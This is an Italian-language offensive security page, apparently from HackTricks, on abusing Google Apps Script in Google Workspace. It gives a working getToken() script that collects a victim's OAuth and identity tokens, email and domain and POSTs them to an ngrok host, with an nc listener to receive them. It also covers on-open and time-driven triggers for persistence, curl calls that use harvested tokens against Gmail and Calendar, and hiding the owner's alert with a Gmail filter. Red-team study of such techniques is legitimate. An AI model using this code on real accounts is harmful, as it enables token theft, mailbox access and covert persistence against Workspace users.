# GWS - App Scripts {{#include ../../../banners/hacktricks-training.md}} ## App Scripts App Scripts è **codice che verrà attivato quando un utente con permessi di modifica accede al documento a cui è collegato l'App Script** e dopo **aver accettato il prompt OAuth**.\ Possono anche essere impostati per essere **eseguiti ogni certo tempo** dal proprietario dell'App Script (Persistenza). ### Crea App Script Ci sono diversi modi per creare un App Script, anche se i più comuni sono **da un Documento Google (di qualsiasi tipo)** e come **progetto autonomo**:
Crea un progetto legato al contenitore da Google Docs, Sheets o Slides 1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides. 2. Clicca su **Estensioni** > **Google Apps Script**. 3. Nell'editor di script, clicca su **Progetto senza titolo**. 4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo Per creare un progetto autonomo da Apps Script: 1. Vai a [`script.google.com`](https://script.google.com/). 2. Clicca su **Nuovo Progetto**. 3. Nell'editor di script, clicca su **Progetto senza titolo**. 4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo da Google Drive 1. Apri [Google Drive](https://drive.google.com/). 2. Clicca su **Nuovo** > **Altro** > **Google Apps Script**.
Crea un progetto legato al contenitore da Google Forms 1. Apri un modulo in Google Forms. 2. Clicca su Altro more_vert > **Editor di script**. 3. Nell'editor di script, clicca su **Progetto senza titolo**. 4. Dai un nome al tuo progetto e clicca su **Rinomina**.
Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp `clasp` è uno strumento da riga di comando che ti consente di creare, estrarre/inviare e distribuire progetti Apps Script da un terminale. Consulta la [Guida all'interfaccia della riga di comando utilizzando `clasp`](https://developers.google.com/apps-script/guides/clasp) per ulteriori dettagli.
## Scenario App Script ### Crea Google Sheet con App Script Inizia creando un App Script, la mia raccomandazione per questo scenario è di creare un Google Sheet e andare su **`Estensioni > App Scripts`**, questo aprirà un **nuovo App Script per te collegato al foglio**. ### Token di accesso Per dare accesso al token OAuth devi cliccare su **`Servizi +` e aggiungere ambiti come**: - **AdminDirectory**: Accesso a utenti e gruppi della directory (se l'utente ha abbastanza permessi) - **Gmail**: Per accedere ai dati di gmail - **Drive**: Per accedere ai dati di drive - **Google Sheets API**: Affinché funzioni con il trigger Per modificare tu stesso i **scopi necessari** puoi andare nelle impostazioni del progetto e abilitare: **`Mostra il file di manifest "appsscript.json" nell'editor`.** ```javascript function getToken() { var userEmail = Session.getActiveUser().getEmail() var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1) var oauthToken = ScriptApp.getOAuthToken() var identityToken = ScriptApp.getIdentityToken() // Data json data = { oauthToken: oauthToken, identityToken: identityToken, email: userEmail, domain: domain, } // Send data makePostRequest(data) // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions // To ask for AdminDirectory permissions var pageToken = "" page = AdminDirectory.Users.list({ domain: domain, // Use the extracted domain orderBy: "givenName", maxResults: 100, pageToken: pageToken, }) // To ask for gmail permissions var threads = GmailApp.getInboxThreads(0, 10) // To ask for drive permissions var files = DriveApp.getFiles() } function makePostRequest(data) { var url = "http://5.tcp.eu.ngrok.io:12027" var options = { method: "post", contentType: "application/json", payload: JSON.stringify(data), } try { UrlFetchApp.fetch(url, options) } catch (e) { Logger.log("Error making POST request: " + e.toString()) } } ``` Per catturare la richiesta puoi semplicemente eseguire: ```bash ngrok tcp 4444 nc -lv 4444 #macOS ``` Permessi richiesti per eseguire lo Script App:
> [!WARNING] > Poiché viene effettuata una richiesta esterna, il prompt OAuth **chiederà anche il permesso di raggiungere endpoint esterni**. ### Crea Trigger Una volta letto l'App, clicca su **⏰ Triggers** per creare un trigger. Come **funzione** da eseguire scegli **`getToken`**, eseguito al deployment **`Head`**, nella sorgente evento seleziona **`From spreadsheet`** e tipo di evento seleziona **`On open`** o **`On edit`** (in base alle tue esigenze) e salva. Nota che puoi controllare i **runs degli App Scripts nella scheda Esecuzioni** se vuoi fare debug di qualcosa. ### Condivisione Per **attivare** lo **Script App** la vittima deve connettersi con **Accesso Editor**. > [!TIP] > Il **token** utilizzato per eseguire lo **Script App** sarà quello del **creatore del trigger**, anche se il file è aperto come Editor da altri utenti. ### Abusare dei documenti Condivisi con Me > [!CAUTION] > Se qualcuno ti ha **condiviso un documento con Script App e un trigger utilizzando il Head** dello Script App (non un deployment fisso), puoi modificare il codice dello Script App (aggiungendo ad esempio le funzioni per rubare il token), accedervi, e lo **Script App verrà eseguito con i permessi dell'utente che ti ha condiviso il documento**! (nota che il token OAuth del proprietario avrà come scope di accesso quelli dati quando è stato creato il trigger). > > Una **notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script** (Che ne dici di usare i permessi di gmail per generare un filtro per prevenire l'allerta?) > [!TIP] > Se un **attaccante modifica gli scope dello Script App**, gli aggiornamenti **non verranno applicati** al documento fino a quando non viene creato un **nuovo trigger** con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del proprietario creatore con più scope di quelli impostati nel trigger che ha creato. ### Copiare invece di condividere Quando crei un link per condividere un documento, viene creato un link simile a questo: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\ Se **cambi** la parte finale **"/edit"** in **"/copy"**, invece di accedervi, google ti chiederà se vuoi **generare una copia del documento:**
Se l'utente lo copia e accede, sia i **contenuti del documento che gli Script App verranno copiati**, tuttavia i **triggers non lo sono**, quindi **niente verrà eseguito**. ### Condivisione come Applicazione Web Nota che è anche possibile **condividere uno Script App come un'applicazione Web** (nell'Editor dello Script App, distribuisci come applicazione Web), ma apparirà un avviso come questo:
Seguito dal **tipico prompt OAuth che chiede** i permessi necessari. ### Test Puoi testare un token raccolto per elencare le email con: ```bash curl -X GET "https://www.googleapis.com/gmail/v1/users//messages" \ -H "Authorization: Bearer " ``` Elenca il calendario dell'utente: ```bash curl -H "Authorization: Bearer $OAUTH_TOKEN" \ -H "Accept: application/json" \ "https://www.googleapis.com/calendar/v3/users/me/calendarList" ``` ## App Script come Persistenza Una opzione per la persistenza sarebbe **creare un documento e aggiungere un trigger per la funzione getToken** e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file, **esfiltri il token della vittima.** È anche possibile creare un App Script e farlo attivare ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha **credenziali compromesse o una sessione di una vittima potrebbe impostare un trigger temporale per l'App Script e leakare un token OAuth molto privilegiato ogni giorno**: Basta creare un App Script, andare su Trigger, cliccare su Aggiungi Trigger e selezionare come sorgente evento Time-driven e selezionare le opzioni che meglio si adattano a te:
> [!CAUTION] > Questo creerà un'email di avviso di sicurezza e un messaggio push sul tuo cellulare che ti avvisa di questo. ### Bypass della Finestra di Conferma Non Verificata del Documento Condiviso Inoltre, se qualcuno ti ha **condiviso** un documento con **accesso in modifica**, puoi generare **App Scripts all'interno del documento** e il **PROPRIETARIO (creatore) del documento sarà il proprietario dell'App Script**. > [!WARNING] > Questo significa che il **creatore del documento apparirà come creatore di qualsiasi App Script** che chiunque con accesso in modifica crea al suo interno. > > Questo significa anche che l'**App Script sarà fidato dall'ambiente Workspace** del creatore del documento. > [!CAUTION] > Questo significa anche che se un **App Script esisteva già** e le persone hanno **concesso accesso**, chiunque con permesso di **Modifica** sul documento può **modificarlo e abusare di quell'accesso.**\ > Per abusare di questo hai anche bisogno che le persone attivino l'App Script. E un trucco interessante è **pubblicare lo script come un'app web**. Quando le **persone** che hanno già concesso **accesso** all'App Script accedono alla pagina web, **attiveranno l'App Script** (questo funziona anche usando i tag ``). {{#include ../../../banners/hacktricks-training.md}}